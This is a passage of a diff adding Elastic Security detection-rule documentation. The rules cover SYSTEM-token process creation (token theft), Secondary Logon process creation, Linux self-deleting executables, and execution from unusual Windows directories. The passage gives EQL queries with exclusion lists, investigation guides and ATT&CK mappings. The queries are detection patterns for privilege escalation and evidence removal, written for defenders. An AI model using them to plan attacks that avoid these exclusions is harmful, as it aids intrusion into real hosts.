(x86)\\*")) + ) and + not (process.name : "rundll32.exe" and + process.command_line : ("*davclnt.dll,DavSetCookie*", "*?:\\Program Files*", + "*\\Windows\\System32\\winethc.dll*", "*\\Windows\\SYSTEM32\\EDGEHTML.dll*", + "*shell32.dll,SHCreateLocalServerRunDll*")) and + not startswith~(process.Ext.effective_parent.name, process.parent.name) and + not (process.name : "powershell.exe" and process.parent.name : "wmiprvse.exe" and process.Ext.effective_parent.executable : "?:\\Windows\\System32\\wsmprovhost.exe") and + not (process.Ext.effective_parent.executable : "?:\\Windows\\System32\\RuntimeBroker.exe" and process.parent.executable : "?:\\Windows\\System32\\sihost.exe") and + not (process.Ext.effective_parent.executable : "?:\\Windows\\System32\\sethc.exe" and process.parent.executable : "?:\\Windows\\System32\\svchost.exe") and + not (process.Ext.effective_parent.executable : "?:\\Windows\\explorer.exe" and + process.parent.executable : ("?:\\Windows\\System32\\svchost.exe", "?:\\Windows\\System32\\msiexec.exe", "?:\\Windows\\twain_32\\*.exe")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Token Impersonation/Theft +** ID: T1134.001 +** Reference URL: https://attack.mitre.org/techniques/T1134/001/ +* Sub-technique: +** Name: Create Process with Token +** ID: T1134.002 +** Reference URL: https://attack.mitre.org/techniques/T1134/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-created-with-an-elevated-token.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-created-with-an-elevated-token.asciidoc new file mode 100644 index 0000000000..f6821a305d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-created-with-an-elevated-token.asciidoc @@ -0,0 +1,211 @@ +[[prebuilt-rule-8-19-34-process-created-with-an-elevated-token]] +=== Process Created with an Elevated Token + +Identifies the creation of a process running as SYSTEM while impersonating the token context of a Windows core binary. Adversaries may create a new process with a different token to escalate privileges and bypass access controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lengjibo.github.io/token/ +* https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Process Created with an Elevated Token* + + +*Possible investigation steps* + + +- What SYSTEM token path did the alert record? + - Why: CreateProcessWithTokenW-style abuse creates a process in a supplied token context, so child, OS parent, and effective parent must be interpreted together. + - Focus: `user.id`, `process.executable`, `process.command_line`, `process.parent.executable`, and `process.Ext.effective_parent.executable`. + - Implication: escalate when a payload or unusual command runs as `S-1-5-18` through a Windows effective parent without one exact recognized workflow; lower suspicion only when child, OS parent, and effective parent all bind to the same vendor, update, accessibility, or test activity. +- Does the OS parent explain why another token was used? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.parent.code_signature.subject_name`, and lineage when needed. + - Implication: escalate when the parent is user-writable, script-driven, remote-tool initiated, unexpectedly signed, or unrelated to the effective parent; lower suspicion when it is a stable signed helper for the same component. +- Is the created process identity consistent with that workflow? + - Focus: `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, and `process.code_signature.subject_name`. + - Implication: escalate when the SYSTEM child has an unexpected signer, user-writable path, new hash, or PE-name mismatch; lower suspicion when signer, hash history, path, and parent context all fit the same component. +- Does the token and session context explain the SYSTEM child? + - Why: CreateProcessWithTokenW, CreateProcessAsUserW, and runas-style abuse can look ordinary unless token/session context is compared with lineage. + - Focus: `process.Ext.authentication_id`, `process.Ext.session_info.logon_type`, `process.Ext.token.integrity_level_name`, `process.Ext.token.elevation_level`, and `user.id`. + - Implication: escalate when SYSTEM or full-integrity execution appears in a logon/session context disconnected from parent or effective parent; lower suspicion when token level and session type match the same service, update, accessibility, or test component. +- Did the process tree show staging or immediate follow-on execution? + - Why: token reuse after the first child makes repeated SYSTEM children or fresh executable timing a scope-expansion trigger. + - Focus: same-`host.id` child process starts from `process.entity_id`; review child `process.executable`, `process.command_line`, `process.Ext.relative_file_creation_time`, and `process.Ext.relative_file_name_modify_time`. !{investigate{"description":"","label":"Child process starts from the SYSTEM process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if hash or relative-time values are empty, scope with `process.executable`, `process.command_line`, `process.parent.executable`, and `process.Ext.effective_parent.executable`; broaden only when local evidence stays suspicious or unresolved. + - !{investigate{"description":"","label":"Process events for the same token-creation pattern","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{process.executable}}","valueType":"string"},{"excluded":false,"field":"process.parent.executable","queryType":"phrase","value":"{{process.parent.executable}}","valueType":"string"},{"excluded":false,"field":"process.Ext.effective_parent.executable","queryType":"phrase","value":"{{process.Ext.effective_parent.executable}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate when the SYSTEM child launches shells, script interpreters, security tools, freshly created or renamed executables, or the same token-creation pattern on unrelated hosts; lower suspicion when descendants and recurrence stay inside the same component pattern. +- What disposition is supported? + - Escalate on conflict across child command, parent/effective-parent pair, identity, token/session, or descendants. Close only when the same signed component explains all categories on this `host.id`; preserve and escalate when any element is missing or contradictory. + + +*False positive analysis* + + +- Treat this alert as unusual until alert-local process evidence proves one component expected to create a SYSTEM process from another token, such as an unexcluded vendor support or accessibility helper, updater/installer, print or error-reporting component, or authorized security test. +- Confirm benign activity only when identity, parentage, token context, and scope all point to that component: `process.executable`, `process.hash.sha256`, `process.code_signature.subject_name`, `process.parent.executable`, `process.Ext.effective_parent.executable`, `user.id`, and `host.id`. A trusted signer, Windows path, or component label alone is insufficient. +- Before adding an exception, validate that the exact child/parent/effective-parent pattern is stable for the same host or managed host group. Build from minimum stable fields, avoiding broad exceptions on `process.name`, `user.name`, or `?:\Windows\*.exe` alone. + + +*Response and remediation* + + +- Preserve evidence first: export the alert, process tree, `process.entity_id`, `process.pid`, command lines, hashes, signer details, token/session fields, and any descendant process records before containment or process termination. +- If suspicious but unconfirmed, preserve and scope first. Use reversible containment such as host isolation only when the SYSTEM child is still running, spawning descendants, or recurring beyond one validated workflow; otherwise keep the host connected for evidence collection while escalating. +- If malicious activity is confirmed, contain the host, block or quarantine confirmed malicious hashes or executables, and suspend or terminate the SYSTEM child only after recording its identifiers and collecting needed memory or file evidence. +- Eradicate only artifacts and configuration changes identified during investigation or incident response. Remediate the entry path that obtained or duplicated the token, and reset credentials only for accounts tied to confirmed misuse. +- After recovery, document the confirmed benign workflow or malicious child/parent/effective-parent pattern, and keep any exception scoped to the stable fields that proved the case. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.action == "start" and + + /* CreateProcessWithToken and effective parent is a privileged MS native binary used as a target for token theft */ + user.id == "S-1-5-18" and process.parent.executable != null and + + /* Token Theft target process usually running as service are located in one of the following paths */ + process.Ext.effective_parent.executable : "?:\\Windows\\*.exe" and + +/* Ignores Utility Manager in Windows running in debug mode */ + not (process.Ext.effective_parent.executable : "?:\\Windows\\System32\\Utilman.exe" and + process.parent.executable : "?:\\Windows\\System32\\Utilman.exe" and process.parent.args : "/debug") and + +/* Ignores Windows print spooler service with correlation to Access Intelligent Form */ +not (process.parent.executable : ("?:\\Windows\\System32\\spoolsv.exe", "?:\\Windows\\System32\\PrintIsolationHost.exe") and + process.executable: ("?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\spool\\drivers\\*.exe", + "?:\\Windows\\System32\\ROUTE.EXE")) and + +/* Ignores Windows error reporting executables */ + not process.executable : ("?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\SysWOW64\\WerFault.exe", + "?:\\Windows\\System32\\WerFaultSecure.exe", + "?:\\Windows\\SysWOW64\\WerFaultSecure.exe", + "?:\\windows\\system32\\WerMgr.exe", + "?:\\Windows\\SoftwareDistribution\\Download\\Install\\securityhealthsetup.exe") and + + /* Ignores Windows updates from TiWorker.exe that runs with elevated privileges */ + not (process.parent.executable : "?:\\Windows\\WinSxS\\*\\TiWorker.exe" and + process.executable : ("?:\\Windows\\Microsoft.NET\\Framework*.exe", + "?:\\Windows\\WinSxS\\*.exe", + "?:\\Windows\\System32\\inetsrv\\iissetup.exe", + "?:\\Windows\\SysWOW64\\inetsrv\\iissetup.exe", + "?:\\Windows\\System32\\inetsrv\\aspnetca.exe", + "?:\\Windows\\SysWOW64\\inetsrv\\aspnetca.exe", + "?:\\Windows\\System32\\lodctr.exe", + "?:\\Windows\\SysWOW64\\lodctr.exe", + "?:\\Windows\\System32\\netcfg.exe", + "?:\\Windows\\Microsoft.NET\\Framework*\\*\\ngen.exe", + "?:\\Windows\\Microsoft.NET\\Framework*\\*\\aspnet_regiis.exe")) and + +/* Ignores additional parent executables that run with elevated privileges */ + not process.parent.executable : + ("?:\\Windows\\System32\\AtBroker.exe", + "?:\\Windows\\system32\\svchost.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Program Files\\*.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\System32\\DriverStore\\*", + "?:\\Windows\\LTSvc\\*\\Update.exe") and + +/* Ignores Windows binaries with a trusted signature and specific signature name */ + not (process.code_signature.trusted == true and + process.code_signature.subject_name : + ("philandro Software GmbH", + "Freedom Scientific Inc.", + "TeamViewer Germany GmbH", + "Projector.is, Inc.", + "TeamViewer GmbH", + "Cisco WebEx LLC", + "Dell Inc", + "Sophos Ltd", + "Sophos Limited", + "Brother Industries, Ltd.", + "MILVUS INOVACOES EM SOFTWARE LTDA", + "Chocolatey Software, Inc")) and + + not (process.Ext.effective_parent.executable : "?:\\Windows\\servicing\\TrustedInstaller.exe" and + process.executable : "C:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe") and + + not process.Ext.effective_parent.executable : "?:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\ServicePortalAgent\\current\\emulator\\MmrAgent.NetFxEmulator.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Create Process with Token +** ID: T1134.002 +** Reference URL: https://attack.mitre.org/techniques/T1134/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-creation-via-secondary-logon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-creation-via-secondary-logon.asciidoc new file mode 100644 index 0000000000..33c06bd48e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-creation-via-secondary-logon.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-process-creation-via-secondary-logon]] +=== Process Creation via Secondary Logon + +Identifies process creation with alternate credentials. Adversaries may create a new process with a different token to escalate privileges and bypass access controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1134/002/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Creation via Secondary Logon* + + +The Secondary Logon service in Windows allows users to run processes with different credentials, facilitating legitimate administrative tasks. However, adversaries can exploit this to escalate privileges by creating processes with alternate tokens, bypassing access controls. The detection rule identifies such abuse by monitoring successful logins via the Secondary Logon service and subsequent process creation, linking them through unique logon identifiers. + + +*Possible investigation steps* + + +- Review the event logs for the specific TargetLogonId to identify the user account associated with the process creation and verify if the account is authorized to use alternate credentials. +- Examine the source IP address "::1" to confirm if the process creation originated from the local machine, which might indicate a local privilege escalation attempt. +- Investigate the process name "svchost.exe" to determine if it is being used legitimately or if it has been exploited for malicious purposes, such as running unauthorized services. +- Check the sequence of events within the 1-minute maxspan to identify any unusual or suspicious activities that occurred immediately before or after the process creation. +- Correlate the detected activity with other security alerts or logs to identify any patterns or additional indicators of compromise that might suggest a broader attack campaign. + + +*False positive analysis* + + +- Legitimate administrative tasks using the Secondary Logon service can trigger alerts. To manage this, identify and whitelist specific administrative accounts or tasks that frequently use this service for legitimate purposes. +- Scheduled tasks or automated scripts that use alternate credentials for routine operations may cause false positives. Review and exclude these tasks by creating exceptions for known scripts or scheduled jobs. +- Internal IT support activities often involve using alternate credentials for troubleshooting or maintenance. Document and exclude these activities by maintaining a list of support personnel and their typical actions. +- Software updates or installations that require elevated privileges might be flagged. Monitor and exclude these processes by identifying and documenting the update mechanisms used within the organization. +- Development or testing environments where alternate credentials are used for testing purposes can generate alerts. Exclude these environments by setting up specific rules that recognize and ignore these non-production activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified as being created via the Secondary Logon service, especially those linked to the unique logon identifiers from the alert. +- Review and revoke any alternate credentials or tokens used in the suspicious process creation to prevent further misuse. +- Conduct a thorough examination of the affected system for additional signs of compromise, such as unauthorized user accounts or changes to system configurations. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Implement stricter access controls and monitoring on the Secondary Logon service to detect and prevent similar privilege escalation attempts in the future. +- Update and reinforce endpoint detection and response (EDR) solutions to enhance monitoring of process creation events and logon activities, ensuring they are aligned with the latest threat intelligence. + +==== Setup + + + +*Setup* + + +Audit Logon must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-logon + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name with maxspan=1m + +[authentication where host.os.type == "windows" and event.action:"logged-in" and + event.outcome == "success" and user.id : ("S-1-5-21-*", "S-1-12-1-*") and + + /* seclogon service */ + process.name == "svchost.exe" and + winlog.event_data.LogonProcessName : "seclogo*" and source.ip == "::1" ] by winlog.event_data.TargetLogonId + +[process where host.os.type == "windows" and event.type == "start"] by winlog.event_data.TargetLogonId + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Create Process with Token +** ID: T1134.002 +** Reference URL: https://attack.mitre.org/techniques/T1134/002/ +* Sub-technique: +** Name: Make and Impersonate Token +** ID: T1134.003 +** Reference URL: https://attack.mitre.org/techniques/T1134/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-execution-followed-by-self-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-execution-followed-by-self-deletion.asciidoc new file mode 100644 index 0000000000..1c659d2825 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-execution-followed-by-self-deletion.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-process-execution-followed-by-self-deletion]] +=== Process Execution Followed by Self-Deletion + +Detects a process execution followed by immediate self-deletion, a common technique used by adversaries to remove traces of their activity on the system. This pattern is often observed in malware and APT campaigns. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Execution Followed by Self-Deletion* + + +This rule detects a Linux process launched from a temporary, shared-memory, web, or file-descriptor path whose executable is deleted within 30 seconds, a pattern that can erase evidence and hinder analysis. An attacker may drop a payload in `/dev/shm`, execute it to establish access or run malicious commands, and immediately unlink the file while the process continues running. + + +*Possible investigation steps* + + +- Reconstruct the process tree and review the command line, user, working directory, execution context, and parent legitimacy to determine whether the activity was expected. +- If the process remains active, preserve volatile evidence such as its executable through `/proc//exe`, memory, open file descriptors, and cryptographic hashes before containment. +- Correlate nearby child processes, file modifications, persistence changes, DNS requests, and network connections to identify payload behavior and command-and-control activity. +- Trace how the executable reached the host using file-creation events, download records, shell activity, web-server logs, authentication events, and relevant audit telemetry. +- Search the environment for the same hash, command line, user, parent process, destination infrastructure, or deletion pattern, then isolate affected hosts and revoke exposed credentials when malicious activity is confirmed. + + +*False positive analysis* + + +- Legitimate installation, update, or maintenance scripts may execute a temporary helper from `/tmp`, `/var/tmp`, or `/run` and remove it after completion; verify the parent process, package or change records, signer or hash reputation, and timing against approved activity. +- Administrators or applications may intentionally run short-lived executables from shared memory, web directories, or file descriptors and unlink them immediately; confirm the initiating user, command line, expected application workflow, and absence of suspicious child processes or network activity. + + +*Response and remediation* + + +- Isolate affected Linux hosts from the network while preserving access for responders, and terminate malicious processes after capturing `/proc//exe`, memory, open file descriptors, hashes, and active connections. +- Remove related payloads and persistence from cron jobs, systemd units, shell profiles, SSH `authorized_keys`, startup scripts, web directories, temporary paths, and shared-memory locations. +- Revoke or rotate credentials, API keys, SSH keys, and session tokens used by the malicious process or exposed on the host, and block identified hashes, domains, IP addresses, and download sources. +- Reimage the host or restore it from a verified known-good backup when system integrity cannot be established, then validate packages, configurations, accounts, services, and security tooling before reconnecting it. +- Escalate to incident response immediately if the same payload or infrastructure appears on multiple hosts, privileged accounts were accessed, persistence is present, or command-and-control or data-exfiltration activity is identified. +- Prevent recurrence by restricting execution from `/tmp`, `/var/tmp`, `/dev/shm`, and web-writable directories where operationally feasible, correcting unsafe permissions, patching the initial access vector, and deploying detections for related hashes and behaviors. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id, host.id with maxspan=30s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/*", "/var/run/*", "/var/www/*", + "/proc/*/fd/*", "?memfd:*", "memfd:*" + )] by process.executable + [file where host.os.type == "linux" and event.action == "deletion"] by file.path + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-execution-from-an-unusual-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-execution-from-an-unusual-directory.asciidoc new file mode 100644 index 0000000000..ad65f129b9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-execution-from-an-unusual-directory.asciidoc @@ -0,0 +1,220 @@ +[[prebuilt-rule-8-19-34-process-execution-from-an-unusual-directory]] +=== Process Execution from an Unusual Directory + +Identifies process execution from suspicious default Windows directories. This is sometimes done by adversaries to hide malware in trusted paths. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Process Execution from an Unusual Directory* + + +This rule identifies processes that are executed from suspicious default Windows directories. Adversaries may abuse this technique by planting malware in trusted paths, making it difficult for security analysts to discern if their activities are malicious or take advantage of exceptions that may apply to these paths. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes, examining their executable files for prevalence, location, and valid digital signatures. +- Investigate any abnormal behavior by the subject process, such as network connections, registry or file modifications, and any spawned child processes. +- Examine arguments and working directory to determine the program's source or the nature of the tasks it is performing. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of executable and signature conditions. + + +*Related Rules* + + +- Unusual Windows Path Activity - 445a342e-03fb-42d0-8656-0367eb2dead5 +- Execution from Unusual Directory - Command Line - cff92c41-2225-4763-b4ce-6f71e5bda5e6 + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + /* add suspicious execution paths here */ + process.executable : ( + "?:\\PerfLogs\\*.exe", "?:\\Users\\Public\\*.exe", "?:\\Windows\\Tasks\\*.exe", + "?:\\Intel\\*.exe", "?:\\AMD\\Temp\\*.exe", "?:\\Windows\\AppReadiness\\*.exe", + "?:\\Windows\\ServiceState\\*.exe", "?:\\Windows\\security\\*.exe", "?:\\Windows\\IdentityCRL\\*.exe", + 